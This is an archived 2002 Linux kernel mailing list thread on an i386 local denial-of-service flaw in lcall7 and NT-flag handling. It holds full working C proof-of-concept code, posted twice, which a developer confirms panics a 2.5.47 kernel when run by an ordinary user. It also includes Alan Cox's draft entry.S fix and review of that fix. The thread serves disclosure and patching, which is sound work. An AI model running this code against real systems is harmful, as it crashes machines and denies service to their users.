public inbox for linux-kernel@vger.kernel.org
 help / color / mirror / Atom feed
* RE: FW: i386 Linux kernel DoS (clarification)
@ 2002-11-13 21:18 Petr Vandrovec
  2002-11-13 21:48 ` Alan Cox
  0 siblings, 1 reply; 10+ messages in thread
From: Petr Vandrovec @ 2002-11-13 21:18 UTC (permalink / raw)
  To: Alan Cox; +Cc: Christoph Hellwig, Linux Kernel Mailing List

On 13 Nov 02 at 21:36, Alan Cox wrote:

> Try this
> 
> (In the Linus Torvalds tradition its not tested)

I'll test it, but before kernel compiles...
 
> --- arch/i386/kernel/entry.S~   2002-11-13 21:30:37.000000000 +0000
> +++ arch/i386/kernel/entry.S    2002-11-13 21:29:47.000000000 +0000
> @@ -126,6 +126,7 @@
>  ENTRY(lcall7)
>     pushfl          # We get a different stack layout with call
>                 # gates, which has to be cleaned up later..
> +   andl $~0x4500, (%esp)   # Clear NT since we are doing an iret

this will clear 'D' and 'T' in caller after we do
iret (if lcall7 returns, of course). I'm not sure that callers
expect that.

> @@ -390,6 +392,9 @@
>     pushl $do_divide_error
>     ALIGN
>  error_code:
> +   pushfl
> +   andl $~0x4500, (%esp)       # NT must be clear, do a cld for free
> +   popfl

I believe that NT should be automagically cleared by int.
                                                Best regards,
                                                      Petr Vandrovec
                                                      vandrove@vc.cvut.cz
                                                      

^ permalink raw reply	[flat|nested] 10+ messages in thread
* RE: FW: i386 Linux kernel DoS (clarification)
@ 2002-11-13 20:36 Petr Vandrovec
  2002-11-13 21:10 ` Alan Cox
  0 siblings, 1 reply; 10+ messages in thread
From: Petr Vandrovec @ 2002-11-13 20:36 UTC (permalink / raw)
  To: Leif Sawyer; +Cc: Linux Kernel Mailing List

On 13 Nov 02 at 11:23, Leif Sawyer wrote:
> #include <sys/ptrace.h>
> 
> struct user_regs_struct {
>         long ebx, ecx, edx, esi, edi, ebp, eax;
>         unsigned short ds, __ds, es, __es;
>         unsigned short fs, __fs, gs, __gs;
>         long orig_eax, eip;
>         unsigned short cs, __cs;
>         long eflags, esp;
>         unsigned short ss, __ss;
> };
> 
> int main( void )
> {
>     int pid;
>     char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
>     void (* lcall7)( void ) = (void *) dos;
>     struct user_regs_struct d;
> 
>     if( ! ( pid = fork() ) )
>     {
>         usleep( 1000 );
>         (* lcall7)();
>     }
>     else
>     {
>         ptrace( PTRACE_ATTACH, pid, 0, 0 );
>         while( 1 )
>         {
>             wait( 0 );
>             ptrace( PTRACE_GETREGS, pid, 0, &d );
>             d.eflags |= 0x4100; /* set TF and NT */
>             ptrace( PTRACE_SETREGS, pid, 0, &d );
>             ptrace( PTRACE_SYSCALL, pid, 0, 0 );
>         }
>     }
> 
>     return 1;
> }
> 
> At the beginning I thought only kernels <= 2.4.18 were affected; but it
> appeared that both kernels 2.4.19 and 2.4.20-rc1 are vulnerable as well.
> The flaw seems to be related to the kernel's handling of the nested task 
> (NT) flag inside a lcall7. 

2.5.47-current-bk, run as mere user: Kernel panic: Attempted to kill init!
Next time I'll trust you.
                                                Petr Vandrovec
                                                vandrove@vc.cvut.cz
                                                

^ permalink raw reply	[flat|nested] 10+ messages in thread
* RE: FW: i386 Linux kernel DoS (clarification)
@ 2002-11-13 20:23 Leif Sawyer
  2002-11-13 21:36 ` Alan Cox
  0 siblings, 1 reply; 10+ messages in thread
From: Leif Sawyer @ 2002-11-13 20:23 UTC (permalink / raw)
  To: Alan Cox, Christoph Hellwig; +Cc: Linux Kernel Mailing List

Here's a little clarification on the problem:

On Wed, 13 Nov 2002, Stefan Laudat wrote:

> Regarding this issue: is it 80x86 or specifically 80386 designed ?
> Been trying it on AMD Duron, AMD Athlon MP, Intel i586 - just segfaults :(

Yep; the first version of the DoS I posted on bugtraq was defective and
worked only under special conditions (inside gdb for example).

However this updated version works much better:

#include <sys/ptrace.h>

struct user_regs_struct {
        long ebx, ecx, edx, esi, edi, ebp, eax;
        unsigned short ds, __ds, es, __es;
        unsigned short fs, __fs, gs, __gs;
        long orig_eax, eip;
        unsigned short cs, __cs;
        long eflags, esp;
        unsigned short ss, __ss;
};

int main( void )
{
    int pid;
    char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
    void (* lcall7)( void ) = (void *) dos;
    struct user_regs_struct d;

    if( ! ( pid = fork() ) )
    {
        usleep( 1000 );
        (* lcall7)();
    }
    else
    {
        ptrace( PTRACE_ATTACH, pid, 0, 0 );
        while( 1 )
        {
            wait( 0 );
            ptrace( PTRACE_GETREGS, pid, 0, &d );
            d.eflags |= 0x4100; /* set TF and NT */
            ptrace( PTRACE_SETREGS, pid, 0, &d );
            ptrace( PTRACE_SYSCALL, pid, 0, 0 );
        }
    }

    return 1;
}

At the beginning I thought only kernels <= 2.4.18 were affected; but it
appeared that both kernels 2.4.19 and 2.4.20-rc1 are vulnerable as well.
The flaw seems to be related to the kernel's handling of the nested task 
(NT) flag inside a lcall7. 

-- 
Christophe Devine

> -----Original Message-----
> From: Alan Cox [mailto:alan@lxorguk.ukuu.org.uk]
> Sent: Tuesday, November 12, 2002 3:10 PM
> To: Christoph Hellwig
> Cc: Leif Sawyer; Linux Kernel Mailing List
> Subject: Re: FW: i386 Linux kernel DoS
> 
> 
> On Tue, 2002-11-12 at 23:31, Christoph Hellwig wrote:
> > On Tue, Nov 12, 2002 at 02:28:55PM -0900, Leif Sawyer wrote:
> > > This was posted on bugtraq today...
> > 
> > A real segfaulting program?  wow :)
> 
> Looks like the TF handling bug which was fixed a while ago
> 

^ permalink raw reply	[flat|nested] 10+ messages in thread

end of thread, other threads:[~2002-11-14  3:34 UTC | newest]

Thread overview: 10+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2002-11-13 21:18 FW: i386 Linux kernel DoS (clarification) Petr Vandrovec
2002-11-13 21:48 ` Alan Cox
2002-11-13 21:51   ` Petr Vandrovec
2002-11-14  3:41     ` Andrea Arcangeli
  -- strict thread matches above, loose matches on Subject: below --
2002-11-13 20:36 Petr Vandrovec
2002-11-13 21:10 ` Alan Cox
2002-11-13 21:13   ` Petr Vandrovec
2002-11-13 21:47     ` Alan Cox
2002-11-13 20:23 Leif Sawyer
2002-11-13 21:36 ` Alan Cox

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox